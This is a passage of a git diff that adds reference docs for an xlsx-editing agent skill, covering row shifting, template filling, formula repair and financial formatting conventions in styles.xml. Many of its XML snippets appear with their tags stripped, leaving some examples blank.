`xl/charts/chartN.xml` data source ranges | Shift series ranges | `Sheet1!$B$5:$B$20` → `Sheet1!$B$6:$B$21` | +| `xl/pivotTables/*.xml` source ranges | Shift source data range | Handle with extreme care — see Section 7 | +| `` | Expand to include new extent | `A1:D20` → `A1:D21` | +| `xl/tables/tableN.xml` `ref` attribute | Expand table boundary | `A1:D20` → `A1:D21` | + +**Do not attempt row insertion manually in large or formula-heavy files.** Use the dedicated shift script instead: + +```bash +# Insert 1 row at row 5: all rows 5 and below shift down by 1 +python3 SKILL_DIR/scripts/xlsx_shift_rows.py /tmp/xlsx_work/ insert 5 1 + +# Delete 1 row at row 8: all rows 9 and above shift up by 1 +python3 SKILL_DIR/scripts/xlsx_shift_rows.py /tmp/xlsx_work/ delete 8 1 +``` + +The script updates in one pass: `` attributes, `` cell addresses, all `` formula text across every worksheet, `` ranges, ``, ``, ``, table `ref` attributes in `xl/tables/`, chart series ranges in `xl/charts/`, and pivot cache source ranges in `xl/pivotCaches/`. + +**After running the shift script, always repack and validate:** +```bash +python3 SKILL_DIR/scripts/xlsx_pack.py /tmp/xlsx_work/ output.xlsx +python3 SKILL_DIR/scripts/formula_check.py output.xlsx +``` + +**What the script does NOT update (review manually):** +- Named ranges in `xl/workbook.xml` `` — check and update if they reference shifted rows. +- Structured table references (`Table[@Column]`) inside formulas. +- External workbook links in `xl/externalLinks/`. + +### 5.2 Inserting a Column in the Middle + +Same cascade logic as row insertion, but for columns. Column references in formulas (`B`, `$C`, etc.) and in merged cell ranges, conditional formatting ranges, and chart data sources all need updating. + +Column letter shifting is harder to automate safely. Prefer **appending columns at the end** whenever possible. + +### 5.3 Deleting a Row or Column + +Deletion is more dangerous than insertion because any formula that referenced a deleted row or column will become `#REF!`. Before deleting: + +1. Search all `` elements for references to the deleted range. +2. If any formula references a cell in the deleted row/column, do not delete — instead, either clear the row's data or consult the user. +3. After deletion, shift all references to rows/columns beyond the deletion point downward/leftward. + +--- + +## 6. Template Filling — Identifying and Populating Input Cells + +Templates designate certain cells as input zones. Common patterns to recognize them: + +### 6.1 How Templates Signal Input Zones + +| Signal | XML manifestation | What to look for | +|--------|-------------------|-----------------| +| Blue font color | `s` attribute pointing to a `cellXfs` entry with `fontId` → `` | Check `styles.xml` to decode `s` values | +| Yellow fill (highlight) | `s` → `fillId` → `` | | +| Empty `` element | `` or cell entirely absent from `` | The cell has no value yet | +| Comment/annotation near cell | `xl/comments1.xml` with `ref="B5"` | Comments often label input fields | +| Named ranges | `xl/workbook.xml` `` elements | Template may define `InputRevenue` etc. | + +### 6.2 Filling a Template Cell + +Do not change `s` attributes. Do not change `t` attributes unless you must change from empty to typed. Only change `` or add ``. + +**Before (empty input cell with style preserved):** +```xml + + + +``` + +**After (filled with a number, style unchanged):** +```xml + + 125000 + +``` + +**After (filled with text — requires shared string entry first):** +```xml + + + 7 + +``` + +**After (filled with a formula, preserving style):** +```xml + + Assumptions!D12 + + +``` + +### 6.3 Locating Input Zones Without Opening the File in Excel + +After unpacking, decode the style index on suspected input cells to determine if they have the template's input color: + +1. Note the `s` value on the cell (e.g., `s="4"`). +2. In `xl/styles.xml`, find `` and look at the 5th entry (index 4). +3. Note its `fontId` (e.g., `fontId="2"`). +4. In ``, look at the 3rd entry (index 2) and check for `` (blue) or other input marker. + +If the template uses named ranges as input fields, read them from `xl/workbook.xml`: +```xml + + Assumptions!$B$5 + Assumptions!$B$6 + +``` + +Fill the target cells (`Assumptions!B5`, `Assumptions!B6`) directly. + +### 6.4 Template Filling Rules + +- Fill only cells the template designated as inputs. Do not fill cells that are formula-driven. +- Do not apply new styles when filling. The template's formatting is the deliverable. +- Do not add or remove rows inside the template's data area unless the template explicitly has an "append here" zone. +- After filling, verify that no formula errors were introduced: some templates have input-validation formulas that produce `#VALUE!` if the wrong data type is entered. + +--- + +## 7. Files You Must Never Modify + +### 7.1 Absolute no-touch list + +| File / location | Why | +|-----------------|-----| +| `xl/vbaProject.bin` | Binary VBA bytecode. Any byte modification corrupts the macro project. Editing even one bit makes the macros fail to load. | +| `xl/pivotCaches/pivotCacheDefinition*.xml` | The cache definition ties the pivot table to its source data. Editing it without also updating the corresponding `pivotTable*.xml` will corrupt the pivot. | +| `xl/pivotTables/*.xml` | Pivot table XML is tightly coupled with the cache definition and with internal state Excel rebuilds on load. Do not edit. If you shifted rows and the pivot's source range now points to wrong data, update only the `` range in the cache definition, and only the `ref` attribute in the pivot table — no other changes. | +| `xl/slicers/*.xml` | Slicers are connected to specific cache IDs and pivot fields. Breaking these connections silently corrupts the file. | +| `xl/connections.xml` | External data connections. Editing breaks live data refresh. | +| `xl/externalLinks/` | External workbook links. The binary `.bin` files in here must not be modified. | + +### 7.2 Conditionally safe files (update only specific attributes) + +| File | What you may update | What to leave alone | +|------|--------------------|--------------------| +| `xl/charts/chartN.xml` | Data series range references (``) after a row/column shift | Chart type, formatting, layout | +| `xl/tables/tableN.xml` | `ref` attribute on `` after adding rows | Column definitions, style info | +| `xl/pivotCaches/pivotCacheDefinition*.xml` | `ref` attribute on `` after shifting source data | All other content | + +--- + +## 8. Validation After Every Edit + +Never skip validation. Even a one-character change in a formula can cause cascading errors. + +```bash +# Pack +python3 SKILL_DIR/scripts/xlsx_pack.py /tmp/xlsx_work/ output.xlsx + +# Static formula validation (always run) +python3 SKILL_DIR/scripts/formula_check.py output.xlsx + +# Dynamic validation (if LibreOffice available) +python3 SKILL_DIR/scripts/libreoffice_recalc.py output.xlsx /tmp/recalc.xlsx +python3 SKILL_DIR/scripts/formula_check.py /tmp/recalc.xlsx +``` + +If `formula_check.py` reports any error: +1. Unpack the output file again (it is the packed version). +2. Locate the reported cell in the worksheet XML. +3. Fix the `` element. +4. Repack and re-validate. + +Do not deliver the file until `formula_check.py` reports zero errors. + +--- + +## 9. Absolute Rules Summary + +| Rule | Rationale | +|------|-----------| +| Never use openpyxl `load_workbook` + `save` on an existing file | Round-trip destroys pivot tables, VBA, sparklines, slicers | +| Never delete or reorder existing `` entries in sharedStrings | Breaks every cell referencing that index | +| Never delete or reorder existing `` entries in `` | Breaks every cell using that style index | +| Never modify `vbaProject.bin` | Binary file; any change corrupts VBA | +| Never change `sheetId` when renaming a sheet | Internal ID is stable; changing it breaks relationships | +| Never skip post-edit validation | Leaves broken references undetected | +| Never edit more XML nodes than required | Extra changes risk introducing subtle corruption | +| Clear `` to empty string when changing a formula | Prevents stale cached value from misleading downstream consumers | +| Append-only to sharedStrings | Existing indexes must remain valid | +| Append-only to styles collections | Existing style indexes must remain valid | diff --git a/skills/minimax-xlsx/references/fix.md b/skills/minimax-xlsx/references/fix.md new file mode 100644 index 0000000..7aedc8a --- /dev/null +++ b/skills/minimax-xlsx/references/fix.md @@ -0,0 +1,37 @@ +# FIX — Repair Broken Formulas in an Existing xlsx + +This is an EDIT task. You MUST preserve all original sheets and data. Never create a new workbook. + +## Workflow + +```bash +# Step 1: Identify errors +python3 SKILL_DIR/scripts/formula_check.py input.xlsx --json + +# Step 2: Unpack +python3 SKILL_DIR/scripts/xlsx_unpack.py input.xlsx /tmp/xlsx_work/ + +# Step 3: Fix each broken element in the worksheet XML using the Edit tool +# (see Error-to-Fix mapping below) + +# Step 4: Pack and validate +python3 SKILL_DIR/scripts/xlsx_pack.py /tmp/xlsx_work/ output.xlsx +python3 SKILL_DIR/scripts/formula_check.py output.xlsx +``` + +## Error-to-Fix Mapping + +| Error | Fix Strategy | +|-------|-------------| +| `#DIV/0!` | Wrap: `IFERROR(original_formula, "-")` | +| `#NAME?` | Fix misspelled function (e.g. `SUMM` → `SUM`) | +| `#REF!` | Reconstruct the broken reference | +| `#VALUE!` | Fix type mismatch | + +For the full list of Excel error types and advanced diagnostics, see `validate.md`. + +## Critical Rules + +- The output MUST contain the same sheets as the input. Do NOT create a new workbook. +- Only modify the specific `` elements that are broken — everything else must be untouched. +- After packing, always run `formula_check.py` to confirm all errors are resolved. diff --git a/skills/minimax-xlsx/references/format.md b/skills/minimax-xlsx/references/format.md new file mode 100644 index 0000000..a20723a --- /dev/null +++ b/skills/minimax-xlsx/references/format.md @@ -0,0 +1,768 @@ +# Financial Formatting & Output Standards — Complete Agent Guide + +> This document is the complete reference manual for the agent when applying professional financial formatting to xlsx files. All operations target direct XML surgery on `xl/styles.xml` without using openpyxl. Every operational step provides ready-to-use XML snippets. + +--- + +## 1. When to Use This Path + +This document (FORMAT path) applies to the following two scenarios: + +**Scenario A — Dedicated Formatting of an Existing File** +The user provides an existing xlsx file and requests that financial modeling formatting standards be applied or unified. The starting point is to unpack the file, audit the existing `styles.xml`, then append missing styles and batch-update cell `s` attributes. No cell values or formulas are modified. + +**Scenario B — Applying Format Standards After CREATE/EDIT** +After completing data entry or formula writing, formatting is applied as the final step. At this point, `styles.xml` may come from the minimal_xlsx template (which pre-defines 13 style slots) or from a user file. In either case, follow the principle of "append only, never modify existing xf entries." + +**Not applicable**: Reading or analyzing file contents only (use the READ path); modifying formulas or data (use the EDIT path). + +--- + +## 2. Financial Format Semantic System + +### 2.1 Font Color = Cell Role (Color = Role) + +The primary convention of financial modeling: **font color encodes the cell's role, not decoration**. A reviewer can glance at colors to determine which cells are adjustable parameters and which are model-calculated results. This is an industry-wide convention (followed by investment banks, the Big Four, and corporate finance teams). + +| Role | Font Color | AARRGGBB | Use Case | +|------|-----------|----------|----------| +| Hard-coded input / assumption | Blue | `000000FF` | Growth rates, discount rates, tax rates, and other user-modifiable parameters | +| Formula / calculated result | Black | `00000000` | All cells containing a `` element | +| Same-workbook cross-sheet reference | Green | `00008000` | Cells whose formula starts with `SheetName!` | +| External file link | Red | `00FF0000` | Cells whose formula contains `[FileName.xlsx]` (flagged as fragile links) | +| Label / text | Black (default) | theme color | Row labels, category headings | +| Key assumption requiring review | Blue font + yellow fill | Font `000000FF` / Fill `00FFFF00` | Provisional values, parameters pending confirmation | + +**Decision tree**: +``` +Does the cell contain a element? + +-- Yes -> Does the formula start with [FileName]? + | +-- Yes -> Red (external link) + | +-- No -> Does the formula contain SheetName!? + | +-- Yes -> Green (cross-sheet reference) + | +-- No -> Black (same-sheet formula) + +-- No -> Is the value a user-adjustable parameter? + +-- Yes -> Blue (input/assumption) + +-- No -> Black default (label) +``` + +**Strictly prohibited**: Blue font + `` element coexisting (color role contradiction — must be corrected). + +### 2.2 Number Format Matrix + +| Data Type | formatCode | numFmtId | Display Example | Applicable Scenario | +|-----------|-----------|----------|-----------------|---------------------| +| Standard currency (whole dollars) | `$#,##0;($#,##0);"-"` | 164 | $1,234 / ($1,234) / - | P&L, balance sheet amount rows | +| Standard currency (with cents) | `$#,##0.00;($#,##0.00);"-"` | 169 | $1,234.56 / ($1,234.56) / - | Unit prices, detailed costs | +| Thousands (K) | `#,##0,"K"` | 171 | 1,234K | Simplified display for management reports | +| Millions (M) | `#,##0,,"M"` | 172 | 1M | Macro-level summary rows | +| Percentage (1 decimal) | `0.0%` | 165 | 12.5% | Growth rates, gross margins | +| Percentage (2 decimals) | `0.00%` | 170 | 12.50% | IRR, precise interest rates | +| Multiple / valuation multiplier | `0.0x` | 166 | 8.5x | EV/EBITDA, P/E | +| Integer (thousands separator) | `#,##0` | 167 | 12,345 | Employee count, unit quantities | +| Year | `0` | 1 (built-in, no declaration needed) | 2024 | Column header years, prevents 2,024 | +| Date | `m/d/yyyy` | 14 (built-in, no declaration needed) | 3/21/2026 | Timelines | +| General text | General | 0 (built-in, no declaration needed) | — | Label rows, cells with no format requirement | + +numFmtId 169–172 are custom formats that need to be appended beyond the 4 formats (164–167) pre-defined in the minimal_xlsx template. When appending, assign IDs according to the rules (see Section 3.4). + +**Built-in format IDs do not need to be declared in ``** (IDs 0–163 are built into Excel/LibreOffice; simply reference the numFmtId in ``): + +| numFmtId | formatCode | Description | +|----------|-----------|-------------| +| 0 | General | General format | +| 1 | `0` | Integer, no thousands separator (use this ID for years) | +| 3 | `#,##0` | Thousands-separated integer (no decimals) | +| 9 | `0%` | Percentage integer | +| 10 | `0.00%` | Percentage with two decimals | +| 14 | `m/d/yyyy` | Short date | + +### 2.3 Negative Number Display Standards + +Financial reports have two mainstream conventions for negative numbers — choose one and **maintain consistency** throughout the entire workbook: + +**Parenthetical style (investment banking standard, recommended for external deliverables)** + +``` +Positive: $1,234 Negative: ($1,234) Zero: - +formatCode: $#,##0;($#,##0);"-" +``` + +**Red minus sign style (suitable for internal operational analysis reports)** + +``` +Positive: $1,234 Negative: -$1,234 (red) +formatCode: $#,##0;[Red]-$#,##0;"-" +``` + +Rule: Once a style is determined, maintain it across the entire workbook. Do not mix two negative number display styles within the same workbook. + +### 2.4 Zero Value Display Standards + +In financial models, "0" and "no data" have different semantics and should be visually distinct: + +| Scenario | Recommended Display | formatCode Third Segment | +|----------|-------------------|--------------------------| +| Sparse matrix (most rows have zero-value periods) | Dash `-` | `"-"` | +| Quantity counts (zero itself is meaningful) | `0` | `0` or omit | +| Placeholder row (explicitly empty) | Leave blank | Do not write to cell | + +Four-segment format syntax: `positive format;negative format;zero value format;text format` + +Zero as dash: `$#,##0;($#,##0);"-"` +Zero preserved as 0: `#,##0;(#,##0);0` + +--- + +## 3. styles.xml Surgical Operations + +### 3.1 Auditing Existing Styles: Understanding the cellXfs Indirect Reference Chain + +A cell's `s` attribute points to a position index (0-based) in `cellXfs`, and each `` entry in `cellXfs` references its respective definition libraries through `fontId`, `fillId`, `borderId`, and `numFmtId`. + +Reference chain diagram: + +``` +Cell + | Look up cellXfs by 0-based index +cellXfs[6] -> numFmtId="164" fontId="2" fillId="0" borderId="0" + | | | | +numFmts fonts[2] fills[0] borders[0] +id=164 color=00000000 (no fill) (no border) +$#,##0... black +``` + +Audit steps: + +**Step 1**: Read `` and record all declared custom formats and their IDs: +```xml + + + + + + +``` +Record: current maximum custom numFmtId = 167, next available ID = 168. + +**Step 2**: Read `` and list each `` by 0-based index with its color and style: +``` +fontId=0 -> No explicit color (theme default black) +fontId=1 -> color rgb="000000FF" (blue, input role) +fontId=2 -> color rgb="00000000" (black, formula role) +fontId=3 -> color rgb="00008000" (green, cross-sheet reference role) +fontId=4 -> + color rgb="00000000" (bold black, header) +``` + +**Step 3**: Read `` and confirm that fills[0] and fills[1] are spec-mandated reserved entries (never delete): +``` +fillId=0 -> patternType="none" (spec-mandated) +fillId=1 -> patternType="gray125" (spec-mandated) +fillId=2 -> Yellow highlight (if present) +``` + +**Step 4**: Read `` and list each `` entry by 0-based index with its combination: +``` +index 0 -> numFmtId=0, fontId=0, fillId=0 -> Default style +index 1 -> numFmtId=0, fontId=1, fillId=0 -> Blue font general (input) +index 5 -> numFmtId=164, fontId=1, fillId=0 -> Blue font currency (currency input) +index 6 -> numFmtId=164, fontId=2, fillId=0 -> Black font currency (currency formula) +... +``` + +**Step 5**: Verify that all count attributes match the actual number of elements (count mismatches will cause Excel to refuse to open the file). + +### 3.2 Safely Appending New Styles (Golden Rule: Append Only, Never Modify Existing xf) + +**Never modify existing `` entries**. Modifications will affect all cells that already reference that index, breaking existing formatting. Only append new entries at the end. + +Complete atomic operation sequence for appending new styles (all 5 steps must be executed): + +**Step 1**: Determine if a new `` is needed + +Built-in formats (ID 0–163) skip this step. Custom formats are appended to the end of ``: +```xml + + + + + + + + + +``` + +**Step 2**: Determine if a new `` is needed + +Check whether the existing fonts already contain a matching color+style combination. If not, append to the end of ``: +```xml + + + ... + + + + + + + +``` +New fontId = the count value before appending (when original count=5, new fontId=5). + +**Step 3**: Determine if a new `` is needed + +If a new background color is needed, append to the end of `` (note: fills[0] and fills[1] must never be modified): +```xml + + + + + + + + + + + + + + + + + +``` + +**Step 4**: Append a new `` combination at the end of `` +```xml + + + ... + + + +``` +New style index = the count value before appending (when original count=13, new index=13). + +**Step 5**: Record the new style index; subsequently set the `s` attribute of corresponding cells in the sheet XML to this value. + +### 3.3 AARRGGBB Color Format Explanation + +OOXML's `rgb` attribute uses **8-digit hexadecimal AARRGGBB** format (not HTML's 6-digit RRGGBB): + +``` +AA RR GG BB +| | | | +Alpha Red Green Blue +``` + +- Alpha channel: `00` = fully opaque (normal use value); `FF` = fully transparent (invisible, never use this) +- Financial color standards always use `00` as the Alpha prefix + +| Color | AARRGGBB | Corresponding Role | +|-------|----------|-------------------| +| Blue (input) | `000000FF` | Hard-coded assumptions | +| Black (formula) | `00000000` | Calculated results | +| Green (cross-sheet reference) | `00008000` | Same-workbook cross-sheet | +| Red (external link) | `00FF0000` | References to other files | +| Yellow (review-required fill) | `00FFFF00` | Key assumption highlight | +| Light gray (projection period fill) | `00D3D3D3` | Distinguishing historical vs. forecast periods | +| White | `00FFFFFF` | Pure white fill | + +**Common mistake**: Mistakenly writing HTML format `#0000FF` as `FF0000FF` (Alpha=FF makes the color fully transparent and invisible). Correct format: `000000FF`. + +### 3.4 numFmtId Assignment Rules + +``` +ID 0-163 -> Excel/LibreOffice built-in formats, no declaration needed in , reference directly in +ID 164+ -> Custom formats, must be explicitly declared as elements in +``` + +Rules for assigning new IDs: +1. Read all `numFmtId` attribute values in the current `` +2. Take the maximum value + 1 as the next custom format ID +3. Do not reuse existing IDs; do not skip numbers + +The minimal_xlsx template pre-defines IDs: 164, 165, 166, 167. The next available ID is 168. + +--- + +## 4. Pre-defined Style Index Complete Reference Table (13 Slots) + +The following are the 13 style slots (cellXfs index 0–12) pre-defined in the minimal_xlsx template's `styles.xml`, which can be directly referenced in the cell `s` attribute in sheet XML: + +| Index | Semantic Role | Font Color | Fill | numFmtId | Format Display | Typical Use | +|-------|--------------|------------|------|----------|---------------|-------------| +| **0** | Default style | Theme black | None | 0 | General | Cells requiring no special formatting | +| **1** | Input / assumption (general) | Blue `000000FF` | None | 0 | General | Text-type assumptions, flags | +| **2** | Formula / calculated result (general) | Black `00000000` | None | 0 | General | Text concatenation formulas, non-numeric calculations | +| **3** | Cross-sheet reference (general) | Green `00008000` | None | 0 | General | Values pulled from cross-sheet (general format) | +| **4** | Header (bold) | Bold black | None | 0 | General | Row/column headings | +| **5** | Currency input | Blue `000000FF` | None | 164 | $1,234 / ($1,234) / - | Amount inputs in the assumptions area | +| **6** | Currency formula | Black `00000000` | None | 164 | $1,234 / ($1,234) / - | Amount calculations in the model area (revenue, EBITDA) | +| **7** | Percentage input | Blue `000000FF` | None | 165 | 12.5% | Rate inputs in the assumptions area (growth rate, gross margin assumptions) | +| **8** | Percentage formula | Black `00000000` | None | 165 | 12.5% | Rate calculations in the model area (actual gross margin) | +| **9** | Integer (comma) input | Blue `000000FF` | None | 167 | 12,345 | Quantity inputs in the assumptions area (employee count) | +| **10** | Integer (comma) formula | Black `00000000` | None | 167 | 12,345 | Quantity calculations in the model area | +| **11** | Year input | Blue `000000FF` | None | 1 | 2024 | Column header years (no thousands separator) | +| **12** | Key assumption highlight | Blue `000000FF` | Yellow `00FFFF00` | 0 | General | Key parameters pending review or confirmation | + +**Selection guide**: +- Determine "input" vs. "formula" -> Choose odd-numbered (input/blue) or even-numbered (formula/black) paired slots +- Determine data type -> Choose the corresponding currency (5/6) / percentage (7/8) / integer (9/10) / year (11) slot +- Cross-sheet reference needing number format -> Append a new green + number format combination (see Section 5.4) +- Parameter pending review -> index 12 + +--- + +## 5. Assumption Separation Principle: XML-Level Implementation + +### 5.1 Structural Design + +Assumption separation principle: **Input assumptions are centralized in a dedicated area (sheet or block); the model calculation area contains only formulas, no hard-coded values**. + +Recommended structure: +``` +Workbook sheet layout + sheet 1 "Assumptions" -> All blue-font cells (style 1/5/7/9/11/12) + sheet 2 "Model" -> All black or green-font cells (style 2/3/4/6/8/10) +``` + +Same-sheet zoning approach for simple models: +``` +Rows 1-5: [Assumptions block - blue font] +Row 6: [Empty row separator] +Rows 7+: [Model block - black/green font formulas referencing assumptions area] +``` + +### 5.2 Assumptions Area XML Example + +```xml + + + + + Model Assumptions + + + + + Revenue Growth Rate + 0.08 + + + + + Gross Margin + 0.65 + + + + + Base Revenue (Year 0) + 1000000 + + + + + Terminal Growth Rate + 0.03 + +``` + +### 5.3 Model Area XML Example (Referencing Assumptions Area) + +```xml + + + + + Metric + 2024 + 2025 + 2026 + + + + + Revenue + + + Assumptions!B4 + + B2*(1+Assumptions!B2) + C2*(1+Assumptions!B2) + + + + + Gross Profit + B2*Assumptions!B3 + C2*Assumptions!B3 + D2*Assumptions!B3 + + + + + Gross Margin % + B3/B2 + C3/C2 + D3/D2 + +``` + +### 5.4 Appending "Green + Number Format" Combinations + +Pre-defined index 3 is green font + general format. If a cross-sheet reference involves a currency amount, a green style with a number format must be appended: + +```xml + + + + +``` + +After appending, cross-sheet reference currency cells use `s="13"`. + +--- + +## 6. Complete Operational Workflow + +### 6.1 Workflow Overview + +``` +[Existing xlsx or file after CREATE/EDIT] + | + Step 1: Unpack (extract to temporary directory) + | + Step 2: Audit styles.xml (review existing styles, build index mapping table) + | + Step 3: Audit sheet XML (identify cells needing formatting and their semantic roles) + | + Step 4: Append missing styles (numFmt -> font -> fill -> xf, update counts) + | + Step 5: Batch-update the s attribute of each cell in the sheet XML + | + Step 6: XML validity + style reference integrity verification + | + Step 7: Pack (recompress as xlsx) +``` + +### 6.2 Step 1 — Unpack + +```bash +python3 SKILL_DIR/scripts/xlsx_unpack.py input.xlsx /tmp/xlsx_fmt/ +``` + +If the script is unavailable, unpack manually: +```bash +mkdir -p /tmp/xlsx_fmt && cp input.xlsx /tmp/xlsx_fmt/input.xlsx +cd /tmp/xlsx_fmt && unzip input.xlsx -d unpacked/ +``` + +### 6.3 Step 2 — Audit styles.xml + +Execute according to the method in Section 3.1. Quick check for minimal_xlsx template initial state: +- `` and `` -> Template initial state, all 13 pre-defined slots can be used directly +- Otherwise -> A complete review of the existing index mapping is required + +### 6.4 Step 3 — Audit Sheet XML, Build Formatting Plan + +Read `xl/worksheets/sheet*.xml` and evaluate each cell: +1. Does it contain a `` element (formula)? -> Requires black/green/red style +2. Is it a hard-coded numeric parameter? -> Requires blue style +3. Is the data type currency/percentage/integer/year? -> Select the corresponding number format slot +4. Is it a header? -> Bold style (index 4) + +Build a formatting mapping table: `{cell coordinate: target style index}` + +### 6.5 Step 4 — Append Styles + +Execute according to the atomic operation sequence in Section 3.2. Update the corresponding count attribute immediately after appending each component. + +### 6.6 Step 5 — Batch-Update Cell s Attributes + +```xml + +0.08 + + +0.08 +``` + +```xml + +B10*(1+Assumptions!B2) + + +B10*(1+Assumptions!B2) +``` + +For consecutive rows of the same type, row-level default styles can be used to reduce repetition: +```xml + + + Operating Income + B3-B4 + C3-C4 + +``` + +### 6.7 Step 6 — Verification + +```bash +# XML validity verification is handled automatically by xlsx_pack.py, no need to manually run xmllint +# The pack script validates styles.xml and sheet XML legality before packaging; it aborts and reports on errors + +# Style audit (optional, audit the entire unpacked directory after formatting is complete) +python3 SKILL_DIR/scripts/style_audit.py /tmp/xlsx_fmt/unpacked/ + +# Formula error static scan (must specify a single .xlsx file, does not accept directories) +# Pack first, then scan: +python3 SKILL_DIR/scripts/xlsx_pack.py /tmp/xlsx_fmt/unpacked/ /tmp/output.xlsx +python3 SKILL_DIR/scripts/formula_check.py /tmp/output.xlsx +``` + +Manual style reference integrity check: +```bash +# Find the maximum s attribute value in the sheet XML +grep -o 's="[0-9]*"' /tmp/xlsx_fmt/unpacked/xl/worksheets/sheet1.xml \ + | grep -o '[0-9]*' | sort -n | tail -1 + +# Compare with the cellXfs count attribute (max s value must be < count) +grep 'cellXfs count' /tmp/xlsx_fmt/unpacked/xl/styles.xml +``` + +### 6.8 Step 7 — Pack + +```bash +python3 SKILL_DIR/scripts/xlsx_pack.py /tmp/xlsx_fmt/unpacked/ output.xlsx +``` + +If the script is unavailable, pack manually: +```bash +cd /tmp/xlsx_fmt/unpacked/ +zip -r ../output.xlsx . -x "*.DS_Store" +``` + +--- + +## 7. Formatting Completeness Checklist + +Verify each item before delivery: + +### Color Role Consistency +- [ ] All numeric cells containing `` elements: fontId corresponds to black (formula) or green (cross-sheet reference) +- [ ] All hard-coded numeric values that are user-adjustable parameters: fontId corresponds to blue (input) +- [ ] Cross-sheet references (formula contains `SheetName!`): fontId corresponds to green +- [ ] External file references (formula contains `[FileName.xlsx]`): fontId corresponds to red +- [ ] No cell simultaneously contains a `` element and uses blue font (color role contradiction) + +### Number Format Correctness +- [ ] Year columns: numFmtId="1" (`0` format), displays as 2024 not 2,024 +- [ ] Currency rows: numFmtId="164" or variant, negative numbers display as ($1,234) not -$1,234 +- [ ] Percentage rows: values stored as decimals (0.08 = 8%), format numFmtId="165", displays as 8.0% +- [ ] Zero values: displayed as `-` in sparse matrices rather than `0` (formatCode third segment contains `"-"`) +- [ ] Multiple rows (EV/EBITDA, etc.): numFmtId="166" (`0.0x` format) +- [ ] Negative number display style is consistent throughout the entire workbook (parenthetical or red minus sign) + +### styles.xml Structural Integrity +- [ ] `` = actual number of `` elements +- [ ] `` = actual number of `` elements +- [ ] `` = actual number of `` elements (including spec-mandated fills[0] and fills[1]) +- [ ] `` = actual number of `` elements +- [ ] fills[0] is `patternType="none"`, fills[1] is `patternType="gray125"` (spec-mandated) +- [ ] All `` referenced fontId / fillId / borderId are within the valid range of their respective collections +- [ ] All cell `s` attribute values < `cellXfs count` (no out-of-bounds references) + +### Assumption Separation Verification +- [ ] No black-font numeric cells in the assumptions area/sheet (black numeric = formula, should not be in assumptions) +- [ ] No blue-font non-year numeric cells in the model area/sheet (blue numeric = hard-coded, should be in assumptions) +- [ ] Input parameters in the model area reference the assumptions area via formulas, not by directly copying values + +### Formula and Format Linkage +- [ ] All cells with `` elements have an explicit `s` attribute (must not use default style=0, whose font color is not explicitly black) +- [ ] SUM summary rows: style uses black font + corresponding number format (e.g., s="6" for currency summaries) +- [ ] Percentage formulas: values stored as decimals, format is `0.0%`; do not multiply values by 100 before applying percentage format + +### Visual Hierarchy +- [ ] Header rows (years/metric names): style=4 (bold black) +- [ ] Summary rows (Total/EBITDA/Net Income): bold + corresponding number format (append style if needed) +- [ ] Unit description rows (e.g., "$ thousands"): use style=0 or style=2 (blue not needed) + +--- + +## 8. Prohibited Actions (What You Must NOT Do) + +- **Do not modify existing `` entries**: This will batch-change the style of all cells referencing that index +- **Do not delete fills[0] and fills[1]**: Required by OOXML specification; deletion causes file corruption +- **Do not modify cell values or formulas**: The FORMAT path only changes styles, not content +- **Do not use openpyxl for formatting**: openpyxl rewrites the entire styles.xml on save, losing unsupported features +- **Do not apply global override styles**: Do not cover the entire workbook with a single style; assign precisely by semantic role +- **Do not write FF in the Alpha channel**: `rgb="FF0000FF"` makes the color fully transparent; the correct format is `rgb="000000FF"` + +--- + +## 9. Common Errors and Fixes + +### Error 1: Year displays as 2,024 + +Cause: The year cell's `s` attribute uses a format with thousands separator (e.g., numFmtId="3" or numFmtId="167"). + +```xml + +2024 + + +2024 +``` + +### Error 2: Percentage displays as 800% (value was multiplied by 100) + +Cause: 8% was stored as `8` instead of `0.08`. Excel's `%` format automatically multiplies the value by 100 for display. + +```xml + +8 + + +0.08 +``` + +### Error 3: File corruption after appending styles without updating count + +Cause: A `` or `` element was appended but the count attribute was not updated; Excel reads beyond bounds using the old count. + +Fix: Update the corresponding count immediately after appending each element: +```xml + + + ... + +``` + +### Error 4: Blue font + formula (color role contradiction) + +Cause: A formula cell mistakenly uses an input style (e.g., s="5" for currency input). + +```xml + +B5*1.08 + + +B5*1.08 +``` + +### Error 5: AARRGGBB color missing Alpha (only 6 digits) + +```xml + + + + + +``` + +### Error 6: Modifying existing xf (affects all cells referencing that index) + +Cause: Directly modifying attributes of the Nth `` in cellXfs, causing all cells with `s="N"` to be batch-changed. + +Fix: Keep existing entries unchanged, append a new entry at the end, and only change the `s` attribute of cells that need the new style to the new index: +```xml + + + + + + + + + + +``` + +--- + +## 10. Financial Model Structure Conventions + +### 10.1 Header Rows + +- Bold font (corresponds to style index 4 in this skill's template) +- Year columns: use number format `0` (numFmtId="1", no thousands separator) to prevent 2024 from displaying as 2,024 +- A unit description row may be added below headers: gray or italic text, e.g., "$ thousands" or "% of Revenue" + +### 10.2 Row Type Standards + +| Row Type | Style Recommendation | Example | +|----------|---------------------|---------| +| Category heading row | Bold, optionally with fill color | "Revenue" | +| Line item row | Normal style | "Product A", "Product B" | +| Subtotal row | Bold + top border | "Total Revenue" | +| Operating metric row | Normal style | "Gross Margin %" | +| Separator row | Empty row | (empty) | + +### 10.3 Multi-Year Model Column Layout + +``` +Col A: Label column (width 28, left-aligned text, s="4" for headers or s="0" for labels) +Col B: FY2022 Actual (width 12, year header s="11", data cells styled by semantic role) +Col C: FY2023 Actual +Col D: FY2024E (forecast period - can use light gray fill fillId=3 to differentiate) +Col E: FY2025E +Col F: FY2026E +``` + +### 10.4 Cross-Sheet Reference Patterns + +Complete XML example of parameters passing from assumptions sheet to model sheet: + +```xml + +0.08 + + + +Assumptions!B5 +``` + +--- + +## 11. Assumption Categories + +In the assumptions area (Assumptions sheet or assumptions block), organize assumptions in the following standard order for ease of review and maintenance: + +1. **Revenue assumptions**: Growth rates, pricing, sales volume +2. **Cost assumptions**: Gross margin, fixed/variable cost ratios +3. **Working capital**: DSO (Days Sales Outstanding), DPO (Days Payable Outstanding), inventory days +4. **Capital expenditures (CapEx)**: As a percentage of revenue or absolute amounts +5. **Financing assumptions**: Interest rates, debt repayment schedules +6. **Tax and other**: Effective tax rate, depreciation & amortization (D&A) + +--- + +## 12. Audit Trail Best Practices + +- Use `s="12"` (blue font + yellow fill highlight) to mark cells requiring review or pending changes, making them immediately visible to reviewers +- In sensitivity analysis rows or a separate Sensitivity tab, show the impact of +/-1% changes in key assumptions on results +- **Do not hide rows containing assumptions**: Assumption rows must be visible to reviewers; do not use the `hidden="1"` attribute +- Note a "Last Updated" date at the top of the assumptions area or in a dedicated cell, recording the last modification time of the model + +--- + +## 13. 